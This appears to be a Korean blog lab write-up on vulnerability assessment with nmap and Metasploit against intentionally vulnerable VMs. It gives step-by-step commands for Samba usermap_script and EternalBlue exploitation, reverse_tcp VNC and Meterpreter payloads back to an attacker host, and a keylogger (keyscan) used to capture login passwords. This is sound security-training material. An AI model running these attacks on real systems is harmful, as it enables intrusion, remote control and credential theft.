본문 바로가기

보안 이론/시스템 보안

Metasploit을 이용한 시스템 취약점 점검 실습

반응형

취약점에 대한 전반적인 내용을 알아보고 실습을 통해서 취약점을 점검해보았다.


취약점(Vulnerability)

불법적인 사용자 접근을 허용하거나 시스템의 정상적인 서비스를 방해하는 위협 요소를 말한다.

시스템이 관리하는 중요 데이터를 접근, 변경, 유출 등 할 수도 있다.

 

취약점이 발견되면 제품 측에서는 발 빠르게 패치를 진행하여 취약점을 보완한다.

그러나 사용자 측에서 업데이트를 진행하지 않는다면 취약한 제품을 사용하고 있는 것이 된다.

이러한 일은 현실에서도 빈번히 일어난다.

 

취약점 패치 단계

취약점은 위와 같은 과정으로 패치가 진행된다. 

하지만 취약점이 발견되고 패치가 적용되기까지에는 일반적으로 1-2개월 이상이 소요된다.

그렇기 때문에 그 기간 안에 충분히 공격당할 가능성이 있다.

 

Zero-day Exploit : 알려지지 않은 취약점을 이용해 패치가 만들어지기 전에 공격하는 방식으로 막을 방법은 없다.

One-day Exploit : 알려진 취약점, 패치가 배포되었으나 아직 적용되지 않은 시스템을 공격하는 방식으로 가장 빈번하게 일어난다.

 

 

취약점 점검

취약점이 발견되면 제품은 패치가 진행된다. 다시말해 취약점은 특정 버전에만 존재한다는 뜻이다.

취약점 분석을 위해서는 시스템이 어떤 버전을 사용하는지 해당 버전에 어떤 취약점이 있는지를 알아야한다.

 

시스템의 버전 확인 SW로 해결할 수 있으며 우리는 nmap을 이용하여 알아본다.

또한 해당 버전의 취약점을 알기 위해 버전을 직접 검색하거나 취약점 클라우드에서 해결할 수 있다.

 

취약점 정보

약점과 취약점에 대해 공식적으로 관리하는 번호 체계가 있다. 

발견된 취약점을 가리키는 고유 표기로 일관성을 주어 여러 서비스에서 데이터를 공유하는 것이 목적이다.

약점 공식 번호(CWE) CWE-nnnnn 소프트웨어 취약점으로 이어질 수도 있는 오류로 항상 존재 할 수 있기때문에 연도를 기입하지 않는다.
cwe.mitre.org
취약점 공식 번호(CVE) CVE-YYYY-NNNNnnn 약점 중 Exploit이 가능한 취약점으로 발견된 연도를 기입한다.
http://cve.mitre.org  cve.org 
MicroSoft 보안공지 MS-YY-NNN 마이크로소프트 소프트웨어의 보안 취약점을 다루는 방식
관련 패치는 KB~로 표현한다. ex) KB4014329

 

취약점 분석 도구

Nmap

Port scanning 툴로 다양한 방법으로 네트워크를 스캐닝할 수 있다.

포트 스캐닝뿐만 아니라 운영체제 정보, 서비스 버전여러 가지 정보를 탐지할 수 있다.

이러한 기능들로 시스템 보안을 점검할 수도 있지만 해커들의 정보 수집에도 사용될 수 있다.

명령어 용도
nmap -sn [ network.host ] 
ex) nmap -sn 192.168.79.100-250
IP 스캔
nmap -O [ IP ] -p [포트 범위] 
ex) nmap -sn 192.168.79.132 -p 0-10000
운영체제(OS) 스캔
nmap -sV [ IP ] -p [포트 범위]  버전 스캔
nmap -sT [ IP ] -p [포트 범위]  TCP Connect 스캔
nmap -sS [ IP ] -p [포트 범위]  TCP SYN 스캔
nmap -sA [ IP ] -p [포트 범위]  TCP ACK 스캔
nmap -sU [ IP ] -p [포트 범위]  UDP 스캔
nmap -sX [ IP ]  -p [포트 범위]  X-mas 스캔
nmap -sF [ IP ]  -p [포트 범위]  FIN 스캔
nmap -sN [ IP ] -p [포트 범위]  NULL 스캔
nmap -A [ IP ] -T<0~4>
ex) nmap -A 192.168.79.132 -T4      T
는 속도
ALL 스캔
(Script + OS + Version + Traceroute)
nmap --script=[ .nse파일 ] [ IP ] -p [ 포트 ] Script 스캔

 

NSE(Nmap Scripting Engine) : 간단한 스크립트를 작성(및 공유)하여 다양한 네트워킹 작업을 자동화한다. 스크립트는 Nmap의 기능보다 더 빠르고 효율적이다. Nmap에서 배포되는 다양한 스크립트 세트를 이용하거나 사용자 정의 요구를 충족하기 위해 직접 작성할 수도 있다.
기능 : 네트워크 검색, 정교한 버전 감지, 취약점 탐지, 백도어 감지, 취약점 공격
NSE 파일은 /usr/share/nmap/scripts 폴더에 위치한다.

 

Metasploit

Rapid7 사에서 운영 중인 오픈소스 취약점 테스트 소프트웨어 프레임워크이다.

수천 개의 공격 모듈을 제공하여 쉽고 빠르게 취약점을 확인하고 침투 테스트가 가능하다.

Kali Linux에는 기본적으로 설치되어 있다.

명령어 용도
msfconsole Metasploit 실행
search [ 취약점 ] Metasploit에서 취약점 모듈 검색
use [ 취약점 모듈 ] 선택한 취약점 모듈 장착
info 장착한 모듈에 대한 설명
set rhosts [ Target IP ]  공격할 IP 설정
set lhost [ Attacker IP ] 공격자 IP 설정 ( Reverse shell의 연결 주소 )
show payloads 공격 시 사용할 페이로드 정보 확인
set payload [ 페이로드 ] 선택한 페이로드 설정
show options 현재까지 설정 내용 확인
exploit 취약점 공격 시작
back 장착한 취약점 모듈 해제

 

취약점 분석 단계

시스템을 분석하고 취약점을 점검하기 위해 다음과 같은 순서로 진행해볼 수 있다.

각 단계는 필요한 만큼 진행하며 때에 따라 단계를 건너뛸 수 있다.

1단계) Port Scanning

열린 포트 확인

시스템에 어떤 서비스들이 실행 중인지 파악한다.

관리자가 모르는 서비스가 실행 중이라면 매우 위험할 수 있다.

 

서비스 버전 확인

서비스들의 버전을 확인하여 오래되거나 취약한 버전이 있는지 식별한다. 

nmap의 여러 가지 스캔을 이용하여 시스템 정보를 수집한다.

 

2단계) 스캔 정보를 통한 취약점 정보 검색/수집

1단계에서 알아낸 OS, 서비스, 버전 등을 바탕으로 정보를 수집한다.

 

3단계) 스크립트를 활용한 상세 스캔

Nmap NSE를 이용하여 취약점에 대한 스크립트가 있는지 확인한다.

스크립트가 존재할 경우 해당 스크립트를 이용해 취약함을 확인할 수 있다.

$ cd /usr/share/nmap/scripts
$ sudo find ./ -iname [*취약점*]       
$ sudo nmap --script=[스크립트명] [ip] -p [포트]

find 사용 시 "*검색어*" 로 입력하면 검색어가 포함된 파일들이 검색된다.

 

4단계) Metasploit을 이용한 Exploit

찾아낸 취약점을 바탕으로 취약점 공격을 진행한다.

Metasploit의 명령어를 이용하며 자세한 내용은 실습을 통해 설명할 것이다.

 

시스템 취약점 점검 실습

취약점 점검 단계를 바탕으로 실습용 머신에서 취약점을 점검하고 공격까지 진행해본다.

실습은 칼리 리눅스를 이용하여 진행하였다.

1. Metasploitable2의 SAMBA 취약점을 찾아 Exploit

Metasploitable2 : metasploit의 취약점 점검을 위해 제공되는 취약한 VM이다.

1단계 스캐닝

해당 시스템에 대한 정보를 얻기 위해 nmap을 이용한 ALL SCAN을 진행한다.

sudo nmap -A 192.168.79.132 -T4

스캔이 끝나면 다음과 같이 포트별 서비스와 host의 버전이 출력된다.

우리는 여기서 Samba의 버전이 Samba 3.0.20-Debian이라는 것을 알아낼 수 있다.

SAMBA : 윈도우에서 파일 및 폴더를 공유하는 프로토콜smb리눅스에서도 활용하기 위해 만들어진 프로토콜로 SAMBA를 이용하면 윈도우와 리눅스에서 서로 백업, 복사 등이 가능하다.

 

2단계 정보 검색/수집

전 단계에서 알아낸 정보를 구글에 검색해본다.

검색을 통해 취약점 제보 사이트(exploit-db.com)의 글을 확인할 수 있다. 

우리는 해당 글에서 samba 3.0.20 버전에 'Username' map script 'Command Execution' 취약점이 존재하고 취약점 번호가 CVE-2007-2447이라는 것을 알아낼 수 있다.

추가적으로 아래는 취약점 발생 코드가 적혀있다.

 

3단계 스크립트 상세 스캔

NSE가 모여있는 /usr/share/nmap/scripts 위치에서 samba에 대해 검색을 해본 결과 취약점 탐색 스크립트가 하나 있으나 우리가 알아낸 CVE-2007-2447 이랑은 다른 것을 알 수 있다.

알맞은 스크립트가 없으므로 다음 단계로 넘어간다.

 

4단계 Exploit

칼리 리눅스의 metasploit framework을 이용하기 위해 다음과 같이 명령어를 입력한다. 

msfconsole

위와 같이 버전과 함께 커맨드가 msf6> 으로 바뀌었다면 정상적으로 metasploit을 실행한 것이다. 

이제 알아낸 취약점을 공격할 수 있는 모듈이 있는지 찾아보자

search samba usermap
search CVE-2007-2447

두 방식 중 편한 방식을 이용하여 검색을 진행하면 된다. 

찾아낸 취약점에 해당하는 공격 모듈을 찾아내었으므로 해당 공격 모듈을 이용해서 Exploit을 진행할 것이다.

 

우선 공격 모듈을 장착필요한 파라미터들을 확인해 보자

use exploit/multi/samba/usermap_script
info

use 명령어를 사용했을 때 입력창 옆에 공격 모듈이 출력되면 정상적으로 장착한 것이다.

info 명령어를 통해 우리는 취약점에 대한 정보필요한 옵션 정보를 알 수 있다.

옵션만 확인하려면 show options 명령어를 사용할 수 있다.

 

이제 옵션을 채운 뒤 공격을 진행해보자.

set Rhosts 192.168.79.132
set lhost 192.168.79.130
exploit

exploit을 진행하자 Command Shell session 하나가 열렸다는 메시지와 함께 쉘 커맨드가 입력된다.

현재 사용자를 알아보면 루트 계정으로 진행되고 있다.

ip addr 명령어를 이용하여 현재 주소가 타겟으로 지정한 서버의 IP임을 확인할 수 있다.

우리는 알려진 취약점을 이용해 타겟 서버의 쉘과 루트 권한 탈취에 성공하였다.

 

2. 실습용 윈도우7에서 취약점을 찾아 Exploit

1단계 스캐닝

이번에도 먼저 정보 수집을 위해 All Scan을 진행해본다.

sudo nmap -A 192.168.79.133 -T4

결과를 보면 smb2와 smb를 같이 이용하는 것을 알 수 있으며 OS 버전이 나와있다.

 

2단계 정보 검색/수집

이를 이용해 구글에 검색을 진행해보자.

검색어 : window 7601 smb exploit

이번에도 Exploit-DB 사이트에서 취약점을 찾아낼 수 있었다.

EternalBlue라는 이름의 원격 코드 실행 취약점이 있고 취약점 코드는 CVE-2017-0144이다.

 

3단계 스크립트 상세 스캔

이번에는 nmap이 가지고 있는 smb 취약점 스크립트를 모두 돌려볼 것이다.

파일명 뒤에 *을 붙이면 앞이 일치하는 모든 파일을 말한다.

cd /usr/share/nmap/scripts
sudo nmap --script=smb-vuln-* 192.168.79.133

결과에서 ms17-010 취약점이 발견됐다고 한다. 검색해서 찾아낸 취약점과 일치한다. 

그러나 CVE 번호가 0143, 0144로 하나 차이가 있다. 검색을 통해 알아본 결과 같은 곳에서 발견된 취약점이라고 한다.

 

4단계 Exploit

알아낸 정보를 이용해 공격을 진행해보자.

metasploit에 접속하는 과정은 생략한다.

 

취약점 번호가 다르기 때문에 공격 모듈이 다르지 않을까 해서 둘 다 검색해보았다.

search cve-2017-0144 cve-2017-0143

 

공격 모듈은 하나로 통일되어 있는 것 같다.

이제 모듈을 장착한 후 이번엔 다른 페이로드를 사용하여 공격을 해보자

use exploit/windows/smb/ms17_010_eternalblue
show payloads

결과를 보면 굉장히 많은 payload들을 확인할 수 있다.

vnc를 이용한 리버스 tcp를 이용해 공격해보자

VNC : Virtual Network Computing으로 원격으로 다른 컴퓨터를 제어하는 그래픽 데스크톱 공유 시스템이다.

페이로드와 공격자, 타겟 주소를 설정해준 뒤 마지막으로 잘 설정되어있는지 확인 후 공격을 진행한다.

set payload payload/windows/x64/vncinject/reverse_tcp        //페이로드 설정
set rhosts 192.168.79.133                                    //타겟 주소
set lhost 192.168.79.130                                     //공격자 주소
show options                                                 //설정값 확인
exploit                                                      //공격 시작

공격자 역할을 하는 칼리 리눅스에서 타겟 피시의 화면을 실시간으로 볼 수 있다.

ViewOnly 설정 값을 False로 변경하면 원격 조종까지 가능하다.

만일 누군가 해킹해서 원격 조종을 한다면 정말 무섭지 않겠는가?

 

이번엔 meterpreter를 이용한 페이로드를 사용해본다.

Meterpreter : Metasploit 프레임워크에 포함된 payload로 대상 컴퓨터를 탐색하는 대화형 쉘을 제공할 뿐만 아니라 권한 상승, 화면 캡처, 웹캠 해킹 등 여러 가지 강력한 기능들이 있다.
set payload payload/windows/x64/meterpreter/reverse_tcp
exploit

성공적으로 meterpreter 쉘이 열렸다. 우리는 이를 이용해 타겟의 PC에 키로거를 심어 비밀번호를 갈취할 것이다.

우선 ps 명령어를 통해 explorer.exe의 프로세스 ID를 찾고 meterpreter를 하위 프로세스로 심어놓는다.

Window의 explorer.exe : 대부분의 Windows와 상호 작용하는 데 사용하는 그래픽 인터페이스를 제공하는 프로그램 관리자 프로세스로 부팅 시 자동으로 실행되며 필수적인 프로그램이다.

 

explorer.exe의 하위 프로세스이어야 타겟의 키보드 입력을 갈취할 수 있다.

migrate [ PID ]                // 해당 프로세스 하위로 meterpreter가 들어감
keyscan_start                  // 키로거 시작
keyscan_dump                   // 지금까지 입력된 키로그 출력
keyscan_stop                   // 키로거 종료

키로거를 준비시키고 공격자는 키 입력을 할 때까지 기다린다.

 

 

이때 타겟 PC가 네이버 로그인을 진행하고 아무것도 모르고 웹서핑을 즐기고 있다면

위와 같이 키 입력을 다 받아와서 ID와 PW를 갈취할 수 있는 것이다.

 

다소 복잡하고 어려울 수 있는 내용이었지만 우리는 취약한 서비스를 이용하면 어떻게 해킹당하는 지직접 실습을 통해 진행해보았다.

 

 


출처

https://nmap.org/book/nse.html

반응형


Calendar
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Archives
Visits
Today
Yesterday